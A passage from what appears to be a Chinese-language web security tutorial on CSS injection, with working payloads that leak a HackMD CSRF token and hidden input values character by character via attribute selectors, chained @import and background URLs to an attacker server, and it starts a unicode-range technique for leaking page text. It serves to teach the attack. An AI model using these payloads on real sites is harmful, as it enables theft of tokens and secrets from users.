request&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">generateCss</span><span class="p">(</span><span class="nx">prefix</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">csrfTokenChars</span> <span class="o">=</span> <span class="s1">&#39;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_&#39;</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="sb">` </span></span></span><span class="line"><span class="cl"><span class="sb"></span><span class="si">${</span><span class="nx">prefix</span><span class="si">}</span><span class="sb"> </span></span></span><span class="line"><span class="cl"><span class="sb">&lt;style&gt; </span></span></span><span class="line"><span class="cl"><span class="sb"> head, meta { </span></span></span><span class="line"><span class="cl"><span class="sb"> display: block; </span></span></span><span class="line"><span class="cl"><span class="sb"> } </span></span></span><span class="line"><span class="cl"><span class="sb"> </span><span class="si">${</span> </span></span><span class="line"><span class="cl"> <span class="nx">csrfTokenChars</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="kr">char</span> <span class="p">=&gt;</span> <span class="sb">` </span></span></span><span class="line"><span class="cl"><span class="sb"> meta[name=&#34;csrf-token&#34;][content^=&#34;</span><span class="si">${</span><span class="nx">prefix</span> <span class="o">+</span> <span class="kr">char</span><span class="si">}</span><span class="sb">&#34;] { </span></span></span><span class="line"><span class="cl"><span class="sb"> background: url(</span><span class="si">${</span><span class="nx">baseUrl</span><span class="si">}${</span><span class="nx">prefix</span> <span class="o">+</span> <span class="kr">char</span><span class="si">}</span><span class="sb">) </span></span></span><span class="line"><span class="cl"><span class="sb"> } </span></span></span><span class="line"><span class="cl"><span class="sb"> `</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="s1">&#39;\n&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="si">}</span><span class="sb"> </span></span></span><span class="line"><span class="cl"><span class="sb">&lt;/style&gt; </span></span></span><span class="line"><span class="cl"><span class="sb"> `</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>可以直接用 Node.js 跑起來，跑起來以後在瀏覽器打開相對應的文件，就可以在 terminal 看到 leak 的進度。</p> <p>不過呢，就算偷到了 HackMD 的 CSRF token，依然還是沒辦法 CSRF，因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等，確保 request 來自合法的地方。</p> <hr> <h3 id="總結">總結</h3> <p>在這篇裡面，我們看到了之所以可以用 CSS 來偷資料的原理，說穿了就是利用「屬性選擇器」再加上「載入圖片」這兩個簡單的功能，也示範了如何偷取 hidden input 跟 meta 裡的資料，並且以 HackMD當作實際案例說明。</p> <p>但是呢，有幾個問題我們還沒解決，像是：</p> <ol> <li>HackMD 因為可以即時同步內容，所以不需要重新整理就可以載入新的 style，那其他網站呢？該怎麼偷到第二個以後的字元？</li> <li>一次只能偷一個字元的話，是不是要偷很久呢？這在實際上可行嗎？</li> <li>有沒有辦法偷到屬性以外的東西？例如說頁面上的文字內容，或甚至是 JavaScript 的程式碼？</li> <li>針對這個攻擊手法的防禦方式有哪些？</li> </ol> <hr> <h2 id="用-css-來偷資料---css-injection下">用 CSS 來偷資料 - CSS injection（下）</h2> <h3 id="偷到所有字元">偷到所有字元</h3> <p>我們想偷的資料有可能只要重新整理以後就會改變（如 CSRF token），所以我們必須在不重新整理的狀況之下載入新的 style。</p> <p>前面之所以做得到，是因為 HackMD 本身就是一個標榜即時更新的文件，但如果是一般的網頁呢？在不能用 JavaScript 的情況下，該如何不斷動態載入新的 style？</p> <p>有關於這個問題，在 <a class="link" href="https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf" target="_blank" rel="noopener" >CSS Injection Attacks</a> 這份簡報裡面給出了解答：<a class="link" href="https://developer.mozilla.org/en-US/docs/Web/CSS/@import" target="_blank" rel="noopener" >@import</a>。</p> <p>在 CSS 裡面，你可以用 <code>@import</code> 去把外部的其他 style 引入進來，就像 JavaScript 的 <code>import</code> 那樣。</p> <p>我們可以利用這個功能做出引入 style 的迴圈，如下面的程式碼：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">start</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">8</span><span class="o">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>接著，在 server 回傳如下的 style：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">1</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">2</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">3</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">4</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">5</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">6</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">7</span><span class="o">)</span> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">8</span><span class="o">)</span> </span></span></code></pre></td></tr></table> </div> </div><p>重點來了，這邊雖然一次引入了 8 個，但是「後面 7 個 request，server 都會先 hang 住，不會給 response」，只有第一個網址 <code>https://myserver.com/payload?len=1</code> 會回傳 response，內容為之前提過的偷資料 payload：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;b&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=b</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;c&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=c</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">//....</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;z&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=z</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>當瀏覽器收到 response 的時候，就會先載入上面這一段 CSS，載入完以後符合條件的元素就會發 request 到後端，假設第一個字是 d 好了，接著 server 這時候才回傳 <code>https://myserver.com/payload?len=2</code> 的 response，內容為：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;da&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=da</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;db&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=db</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;dc&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=dc</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">//....</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;dz&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=dz</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>以此類推，只要不斷重複這些步驟，就可以把所有字元都傳到 server 去，靠的就是 <code>import</code> 會先載入已經下載好的 resource，然後去等待還沒下載好的特性。</p> <p>這邊有一點要特別注意，你會發現我們載入 style 的 domain 是 <code>myserver.com</code>，而背景圖片的 domain 是 <code>b.myserver.com</code>，這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制，所以如果你全部都是用 <code>myserver.com</code> 的話，會發現背景圖片的 request 送不出去，都被 CSS import 給卡住了。</p> <p>因此需要設置兩個 domain，來避免這種狀況。</p> <p>除此之外，上面這種方式在 Firefox 是行不通的，因為在 Firefox 上就算第一個的 response 先回來，也不會立刻更新 style，要等所有 request 都回來才會一起更新。解法的話可以參考這一篇：<a class="link" href="https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/" target="_blank" rel="noopener" >CSS data exfiltration in Firefox via a single injection point</a>，把第一步的 import 拿掉，然後每一個字元的 import 都用額外的 style 包著，像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">1</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">2</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">3</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">4</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">5</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">6</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">7</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">/</span><span class="nt">payload</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">8</span><span class="o">)</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>而上面這樣 Chrome 也是沒問題的，所以統一改成上面這樣，就可以同時支援兩種瀏覽器了。</p> <p>總結一下，只要用 <code>@import</code> 這個 CSS 的功能，就可以做到「不重新載入頁面，但可以動態載入新的 style」，進而偷取後面的每一個字元。</p> <hr> <h3 id="一次偷一個字元太慢了吧">一次偷一個字元，太慢了吧？</h3> <p>若是想要在現實世界中執行這種攻擊，效率可能要再更好一點。以 HackMD 為例，CSRF token 總共有 36 個字，所以就要發 36 個 request，確實是太多了點。</p> <p>事實上，我們一次可以偷兩個字元，因為上集有講過除了 prefix selector 以外，也有 suffix selector，所以可以像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;b&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver.com/leak?q=b</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">//</span> <span class="o">...</span> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">$=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">border-background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver2.com/suffix?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">$=</span><span class="s2">&#34;b&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">border-background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://b.myserver2.com/suffix?q=b</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>除了偷開頭以外，我們也偷結尾，效率立刻變成兩倍。要特別注意的是開頭跟結尾的 CSS，一個用的是 <code>background</code>，另一個用的是 <code>border-background</code>，是不同的屬性，因為如果用同一個屬性的話，內容就會被其他的蓋掉，最後只會發出一個 request。</p> <p>若是內容可能出現的字元不多，例如說 16 個的話，那我們可以直接一次偷兩個開頭加上兩個結尾，總共的 CSS rule 數量為 <code>16*16*2</code> = 512 個，應該還在可以接受的範圍內，就能夠再加速兩倍。</p> <p>除此之外，也可以朝 server 那邊去改善，例如說改用 HTTP/2 或甚至是 HTTP/3，都有機會能夠加速 request 載入的速度，進而提升效率。</p> <hr> <h3 id="偷其他東西">偷其他東西</h3> <p>除了偷屬性之外，有沒有辦法偷到其他東西？例如說，頁面上的其他文字？或甚至是 script 裡面的程式碼？</p> <p>根據我們在上一篇裡面講的原理，是做不到的。因為能偷到屬性是因為「屬性選擇器」這個東西，才讓我們選到特定的元素，而在 CSS 裡面，並沒有可以選擇「內文」的選擇器。</p> <p>因此，我們需要對 CSS 以及網頁上的樣式有更深入的理解，才有辦法達成這件看似不可能的任務。</p> <hr> <h3 id="unicode-range">unicode-range</h3> <p>在 CSS 裡面，有一個屬性叫做「unicode-range」，可以針對不同的字元，載入不同的字體。像是底下這個從 <a class="link" href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range" target="_blank" rel="noopener" >MDN</a> 拿來的範例：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;Ampersand&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">local</span><span class="o">(</span><span class="s2">&#34;Times New Roman&#34;</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">26</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">4</span><span class="kt">em</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span> <span class="n">Ampersand</span><span class="p">,</span> <span class="n">Helvetica</span><span class="p">,</span> <span class="kc">sans-serif</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>Me <span class="err">&amp;</span> You = Us<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p><code>&amp;</code> 的 unicode 是 <code>U+0026</code>，因此只有 <code>&amp;</code> 這個字會用不同的字體來顯示，其他都用同一個字體。</p> <p>這招前端工程師可能有用過，例如說英文跟中文如果要用不同字體來顯示，就很適合用這一招。而這招也可以用來偷取頁面上的文字，像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span 